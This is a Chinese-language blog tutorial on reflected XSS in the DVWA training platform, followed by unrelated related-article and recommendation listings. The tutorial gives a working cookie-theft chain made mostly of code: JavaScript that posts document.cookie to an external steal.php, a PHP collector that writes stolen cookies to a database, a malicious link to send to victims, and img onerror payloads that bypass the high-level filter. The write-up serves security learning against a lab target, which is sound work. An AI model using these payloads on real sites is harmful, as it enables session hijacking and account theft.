关于xss反射性漏洞

1.未加任何过滤的

(1).在dvwa平台上可以看到源代码,如下

low级别

为了便于理解,代码如下:

<?php

// Is there any input?

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL )

{// Feedback for end user

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';

}

?>

判断是否存在name参数且该参数是否为空,不为空则输出Hello,和该参数的值

(2).如果输出<script>alert(0)</script>,则浏览器端接收到传来的服务端处理后的js代码就会直接解析执行

(这里做过实验,如果在浏览器端打开服务端js代码则直接看到源代码,不执行,所以说服务端处理后的js代码)

Ps:笔者在学习时设置了代理。IP会变,做的时候可以考虑该原因

(3) .当我们已知该漏洞时,考虑利用<script src=http://xxx></script>来执行外部js文件,从而在js中实现预先设置和更为强大的功能,如下,设置了获取cookie的源代码

Js代码:(一定要细心,笔者在此出错甚多,导致耗时太多,比如action后网址正确,要有http://,在浏览器端输入时会自动加上,但构造payload时会忘掉)

document.write("<form action='http://www.dvwa1.com/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");

document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");

document.write("</form>");

document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php。

Php代码:(同上,写php代码时一定要细心,比如:$_POST不能少了_符号,低级错误,哎)

<?php

header("content-type:text/html;charset=utf-8");

$conn=mysql_connect("localhost","root","root");

mysql_select_db("dvwacookie",$conn);if(isset($_GET['data']))

{

$sql="insert into low(cookie) values('".$_GET['data']."');";

$result=mysql_query($sql,$conn);

mysql_close();

}else if(isset($_POST['data']))

{

$sql="insert into low(cookie) values('".$_POST['data']."');";

$result=mysql_query($sql,$conn);

mysql_close();

}else

{

$sql="select * from low";

$result=mysql_query($sql,$conn);

while($row=mysql_fetch_array($result))

{

echo "偷取的cookie:".$row[1]."</br>";

}

mysql_close();

}?>

steal.php将我们获取到的cookie存到数据库中。

create database dvwacookie;

use dvwacookie;

create table low(id int not null auto_increment primary key,cookie varchar(100) not null);

create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);

create table high(id int not null auto_increment primary key,cookie varchar(100) not null);

接下来我们在有xss漏洞的位置插入。

<script src=http://www.dvwa1.com/dvwaxss/cookie.js></script>

相当于构造链接。

http://www.dvwa1.com/dvwaxss/cookie.js?name=<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

将链接发给该网站下的受害者,受害者点击时就会加载远程服务器(这里是win7)的cookie.js脚本,这里要提一点,用src加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。

这时,数据库就接收到了cookie。

High级别

High利用正则过滤了script标签,需要绕过,那就不使用<script>标签,使用

<img src=#onerror=(location.href="http://192.168.50.150/dvwaxss/steal.php?data="+document.cookie)>

这样同样可以出发js事件,服务端在解析时并不会解析I的uicode编码,而是到了html页面端会有解析,从而执行。

注意以上payload和这个区别:(引号结尾在document之前)

<img src=# onerror=(location.href="http://www.dvwa1.com/dvwaxss/steal.php?data=+document.cookie")>

注意onerror后面会被当作js事件执行

 本文代码和理解参考:http://www.freebuf.com/articles/web/157953.html

信息安全之路-web-xss学习(1)的更多相关文章

  1. jQuery延迟加载(懒加载)插件 – jquery.lazyload.js-Web前端(W3Cways.com) - Web前端学习之路

    Lazy Load 是一个用 JavaScript 编写的 jQuery 插件. 它可以延迟加载长页面中的图片. 在浏览器可视区域外的图片不会被载入, 直到用户将页面滚动到它们所在的位置. 这与图片预 ...

  2. 风炫安全WEB安全学习第二十七节课 XSS的防御措施

    风炫安全WEB安全学习第二十七节课 XSS的防御措施 XSS防御措施 总的原则 控制好输入/输出 过滤:根据业务需求进行过滤,对email,手机号码这样的输入框进行验证. 转义:所有输出到前端的数据都 ...

  3. 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧

    风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说

  4. 风炫安全WEB安全学习第二十五节课 利用XSS键盘记录

    风炫安全WEB安全学习第二十五节课 利用XSS键盘记录 XSS键盘记录 同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源.所以xyz.com下的js脚本采用a ...

  5. 风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击

    风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击 XSS钓鱼攻击 HTTP Basic Authentication认证 大家在登录网站的时候,大部分时候是通过一个表单提交登录信息. 但是有时候 ...

  6. 风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE

    风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE XSS如何利用 获取COOKIE 我们使用pikachu写的pkxss后台 使用方法: <img src="http:/ ...

  7. 风炫安全WEB安全学习第二十二节课 DOM型XSS讲解

    风炫安全WEB安全学习第二十二节课 DOM型XSS讲解 Dom型XSS演示 通过Javascript,可以重构整个HTML文档,你可以添加.移除.改变或重排页面上的项目 要改变页面的某个东西,Java ...

  8. 风炫安全WEB安全学习第二十一节课 存储型XSS讲解

    风炫安全WEB安全学习第二十一节课 存储型XSS讲解 存储型XSS演示 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存 ...

  9. 风炫安全WEB安全学习第二十节课 反射型XSS讲解

    风炫安全WEB安全学习第二十节课 反射型XSS讲解 反射性xss演示 原理讲解 如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞.通常,该页面会使用一个包含消息文本的参数, ...

  10. 风炫安全WEB安全学习第十九节课 XSS的漏洞基础知识和原理讲解

    风炫安全WEB安全学习第十九节课 XSS的漏洞基础知识和原理讲解 跨站脚本攻击(Cross-site scripting,通常简称为XSS) 反射型XSS原理与演示 交互的数据不会存储在数据库里,一次 ...

随机推荐

  1. java 各种数据类型的互相转换

    StringBuilder转化为String StringBuilder stb = new StringBuilder(); String str=stb.toString(); //方法1 Str ...

  2. 解决python tkinter 与 sleep 延迟问题

    多线程(threading——join) join ()方法:主线程A中,创建了子线程B,并且在主线程A中调用了B.join(),那么,主线程A会在调用的地方等待,直到子线程B完成操作后, 才可以接着 ...

  3. 2018-2019-2 网络对抗技术 20165321 Exp6 信息搜集与漏洞扫描

    1.实践目标 掌握信息搜集的最基础技能与常用工具的使用方法. 2.实践内容 (1)各种搜索技巧的应用 百度查找IP地址: 查了一下kali的IP地址 https://fofa.so/的使用: 查询了一 ...

  4. JDK丨WIN10配置JDK1.8 (解决javac不是内部或外部命令,也不是可运行的程序或批处理文件)

    1.下载JDK,安装. 2.配置JDK. (右键我的电脑 - 属性 - 高级系统设置 - 环境变量.) 2.1 添加系统变量JAVA_HOME 变量名:JAVA_HOME 变量值:C:\Program ...

  5. 与图论的邂逅04:LCT

    本着对数据结构这一块东西的一股兴趣,最近在集训的百忙之中抽空出来学LCT,终于学懂了这个高级玩意儿. 前置知识:Splay和树链剖分 Splay挺复杂的......这里就先不写,不然篇幅太大.树链剖分 ...

  6. Java课堂测试——一维数组

    题目: 一个典型的流程是: 2. 用户这时候有两个选择2.1  按 单步执行 键, 在 GUI 看到你的程序是如何一步一步算出目前最大子数组的范围,当前计算到的临时子数组是在哪里,等等. 最好用不同的 ...

  7. iOS 如何在自定义类中支持 "[]" 运算符

    在相应类中实现如下协议即可. 1.字典类 - (id)objectForKeyedSubscript:(NSObject <NSCopying> *)key; - (void)setObj ...

  8. DP题目推荐合集(洛谷/UVa)

    今天下午要参加海淀区的比赛了...这几天临时抱佛脚刷了几道DP,正所谓临阵磨枪,不快也光...下面我 就把最近刷到的,自己觉得不错的动态规划题列出来: 1.P2690 接苹果 :(基础二维DP) 2. ...

  9. 【Codeforces Round】 #431 (Div. 2) 题解

    Codeforces Round #431 (Div. 2)  A. Odds and Ends time limit per test 1 second memory limit per test ...

  10. 2018-2019-2 网络对抗技术 20165305 Exp2 后门原理与实践

    常用后门工具 一.Windows获得Linux Shell 在Windows下使用ipconfig查看本机IP 使用ncat.exe程序监听本机的5305端口 在Kali环境下,使用nc指令的-e选项 ...